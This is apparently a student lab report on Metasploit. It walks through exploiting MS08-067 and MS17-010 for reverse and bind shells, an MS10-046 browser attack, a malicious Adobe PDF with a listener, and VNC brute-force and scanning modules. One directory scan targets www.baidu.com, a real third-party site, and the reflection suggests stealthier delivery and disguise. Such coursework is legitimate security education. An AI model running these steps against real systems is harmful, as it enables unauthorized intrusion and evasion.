20175103 王伟泽 Exp6 MSF基础应用
一、实验前准备
1.实验对象
- Kali Linux
- Windows xp
- Windos 7
2.实验内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
- 一个主动攻击实践,如ms08_067;
- 一个针对浏览器的攻击,如ms11_050;
- 一个针对客户端的攻击,如Adobe;
- 成功应用任何一个辅助模块。
3.预备知识
1)msf模块说明
-
auxiliary
负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块。 -
exploits
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法。(主动、被动) -
payloads
成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。 -
encoders
对payload进行加密,躲避AntiVirus检查的模块。 -
nops
提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。 -
post
后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作 。
2)常用命令
- help或?:
显示msfconsole可以使用的命令。help,显示某一命令的用法。 - connect:
可以理解成MSF中的nc命令,可以使用connect -h查看详细用法。 - show:
用show命令查看msf提供的资源。在根目录下执行的话,由于有些模块资源比较多,需要执行show命令要较长的时间。 - show exploits:查看可以使用的exploit
除了exploits,还支持all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options。有些选项需要用use使用一个模块后才能使用,比如给show targets。 - search:
搜索模块;简单搜索:seach ms17_010;多条件搜索缩小范围:search name:mysql type:exploit platform:linux。 - info:
查看模块的信息。 - info
如果用use使用了一个模块,直接输入info即可查看。 - use:
search找到模块后,用use使用模块。 - use exploit/windows/smb/ms08_067_netapi
用use使用一个模块后,可以使用 show options查看我们需要配置的选项、使用show targets选择目标主机系统、使用show payloads选择payload、使用show advanced查看高级参数、使用show evasion查看用来做混淆、逃避的模块。 - set/setg:
设置参数,比如要渗透的主机IP、payload等。我们可以用show missing查看没有设置的参数;setg是设置全局变量,避免每个模块都要输入相同的参数。 - unset/unsetg:
取消设置参数。unsetg是取消设置的全局变量。 - save:
设置的参数在下一次启动的时候不会生效,可以用save保存我们使用过程的设置。 - check:
检查目标是否真的存在这个漏洞,大部分模块没有check功能。 - back:
回到msfconsole根目录。 - run或exploit:
开始使用模块。 - exploit -j:
以后台的方式运行。 - sessions:
查看当前已经建立的sessions,说明已经拿到了shell。 - sessions -i id:
可以进入一个session交互。 - load/unload:
调用外部的扫描命令,比如openvas。
二、实验内容
1.主动攻击
MS08-067漏洞:
此安全更新解决了服务器服务中一个秘密报告的漏洞。 如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。 防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击。可以通过安装本 Microsoft 更新程序来保护计算机不受侵害。安装后,可能必须重新启动计算机。
双方:
攻击机:Kali Linux IP192.168.41.130
靶机:Windows xp IP192.168.41.132
步骤
双方可以互相ping通
攻击机输入指令nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.41.132
来探测靶机是由存在该漏洞。
可以看到靶机存在该漏洞,因此利用该漏洞进行攻击。
输入指令msfconsole
进入msf控制台,输入指令search ms08_067
来查询该漏洞可以运用的模块。
输入指令use exploit/windows/smb/ms08_067_netapi
进入攻击模块,然后输入show payloads
查看能够使用的攻击载荷。
这里选择shell_reverse_tcp
,输入指令set payload generic/shell_reverse_tcp
设置payload
为反向tcp连接。
输入指令show options
显示选项。
按选项填写参数。
set RHOST 192.168.41.132 //设置靶机IP
set LPORT 5103 //设置攻击机端口
set LHOST 192.168.41.130 //设置攻击机IP
exploit
成功收到回连,输入指令systeminfo
获取系统信息。
MS17_010漏洞
如果攻击者向 Microsoft 服务器消息块 1.0 (SMBv1) 服务器发送经特殊设计的消息,则其中最严重的漏洞可能允许远程代码执行。
双方
攻击机:Kali Linux IP192.168.41.130
靶机:Windows 7 IP192.168.41 128
步骤
双方可以互相可以ping通
在攻击机输入指令nmap --script=vuln 192.168.41.128
查看靶机有什么漏洞。
发现存在漏洞ms17_010
,输入指令search ms17_010
查询一下有什么可以运用的攻击模块。
输入指令use exploit/windows/smb/ms17_010_eternalblue
进入该攻击模块,输入show payloads
查看可用的攻击荷载。
我们选择windows/x64/meterpreter/bind_tcp
,输入指令set payload windows/x64/meterpreter/bind_tcp
设置攻击荷载类型为绑定TPC连接。之后设置参数,输入如下指令。
set RHOST 192.168.41.128 //设置靶机IP
set LPORT 5103 //设置攻击机端口
set LHOST 192.168.41.130 //设置攻击机IP
exploit
结果如下:
成功获得回连。
2.针对浏览器的攻击
ms10_046漏洞攻击
MS10-046是远程执行漏洞(Windows快捷方式LNK文件自动执行代码漏洞攻击)。
首先查看所有的浏览器漏洞,进入该文件夹cd/usr/share/metasploit-framework/modules/exploits/windows/browser
,输入指令ls
查看所有。
选择ms10_046_shortcut_icon_dllloader.rb
,输入指令msf
,输入search ms10_046
找到该漏洞可用的攻击模块。
输入use windows/browser/ms10_046_shortcut_icon_dllloader
,输入指令show payloads
查看可以使用的攻击荷载。
接下来设置相关参数,输入如下指令:
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.41.130 //设置攻击者IP
set SRVHOST 192.168.41.130 //设置服务器IP(即攻击机IP)
exploit
可以得到一个连接,复制该链接,在靶机中使用网页打开生成的连接http://192.168.41.130:80/
,攻击机即会收到回连。
回连成功,输入sessions
,可以查看会话。
输入指令sessions -i 1
可以选取会话。
针对客户端的攻击
启动msf输入search adobe
,查询针对adobe攻击模块。
使用use windows/fileformat/adobe_cooltype_sing
来设置使用的模块,然后输入show payloads
查找有效攻击荷载。
使用set payload windows/meterpreter/reverse_tcp
来设置攻击荷载。
输入以下指令来设置相关参数。
set FILENAME 20175103.pdf
set LHOST 192.168.41.130
set RHOST 192.168.41.128
set LPORT 5103
exploit
生成的文件预存到/root/.msf4/local
中,但是由于本账号无权限获取,因此输入指令cp /root/.msf4/local/20175209.pdf /home/20175103
将文件提取到桌面上,然后复制到靶机中。
输入back
退出当前模块,输入如下指令进入监听模块开始监听。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.41.130 //攻击机IP
SET LPORT 5103 //攻击机端口
exploit
靶机中打开pdf,然后在靶机中等待回连。
(此处,最开始我所使用的adobe版本为最新版,但是无法得到正确的回连,最后更换为9.0版本后才成功。)
成功应用任何一个辅助模块
vnc_login(唯一)
该vnc_login辅助模块将扫描地址的IP地址或范围,并尝试通过VNC登录与任何一个提供密码或单词表。
输入如下指令:
use auxiliary/scanner/vnc/vnc_login
show options
然后我们设定目标范围,线程,其中最重要的是BRUTEFORCE_SPEED值。如果失败次数太多,许多较新的VNC服务器将自动禁止进一步的登录尝试。
set RHOSTS 192.168.41.132-142
set THREADS 11
set BRUTEFORCE_SPEED 1
搜索如下。
没有成功为系统设置密码,可能是因为权限问题。
vnc_none_auth(唯一)
正如其名称所暗示的,vnc_none_auth扫描器扫描一系列VNC服务器的主机,这些服务器没有任何身份验证。
在msf
控制面板中输入如下指令:
use auxiliary/scanner/vnc/vnc_none_auth
show options //查看选项
要运行我们的扫描,我们只需设置RHOSTS和THREADS值并让它运行,开始搜索。
结果可见,并没有找到具有广泛的GUI访问权限的目标。
使用 dir_scanner 搜索网站目录
输入指令use auxiliary/scanner/http/dir_scanner
来设置相应模块。
输入指令:
set THREADS 50
set RHOSTS www.baidu.com
exploit
结果成功:
端口扫描
我们使用一次完整的tcp连接来扫描。
输入指令:use auxiliary/scanner/portscan/tcp
,设置模块
设置参数:
set RHOSTS 192.168.41.132 //靶机IP
set THREADS 50
exploit
三、实验总结
1.基础问题回答
1)用自己的话解释什么是exploit,payload,encode。
- exploit
是一个利用靶机所存在的漏洞而进行的灵活的攻击,它没有固定的模块和步骤,一切都根据从靶机探测到的漏洞来进行操作攻击,进而获取一定的权限与数据。 - payload
一般是一段有效的可执行代码,利用漏洞将代码注入靶机执行后可以实现反弹连接、获权提权、窃取数据等诸多功能。 - encode
是一段伪装代码,一般将payload进行包装更改,改变其一些特征码或者删减一些特殊字符,从而使得该攻击代码无法被靶机发现。
2.离实战还缺些什么技术或步骤?
从整体做实验的过程来看,首先是隐蔽性,感觉其中有些操作对靶机来说太容易被发现,比如pdf文件就必须在打开状态才可以进行回连,最好设置一些后台执行或者隐藏执行的方式;此外,在各种不同的探测方式中,没有一种能够隐蔽安全的把可执行文件传输到靶机的方式,如果真正实战,应该需要用到各种不同的方式去植入,如网页、u盘等等。另外,很多探测连接方式如果不使用反弹连接的话,是无法通过防火墙的检测的。最后是各种可执行文件也没有合适的伪装,可以伪装成各种文件或者附带到其他可用文件上。
3.实验心得
本次实验内,所做的内容均为各种探测,可以得到各种包括主机系统信息等,也能获得回连得到一定权限。在如此细致的使用msf后,我深深感受到了它的强大,同时也发现有很多模块还没有学习到,作为黑客真正可以使用的利器,它的攻击也是覆盖各方面的。经过自己的努力最终成功完成实验,我的内心也很激动。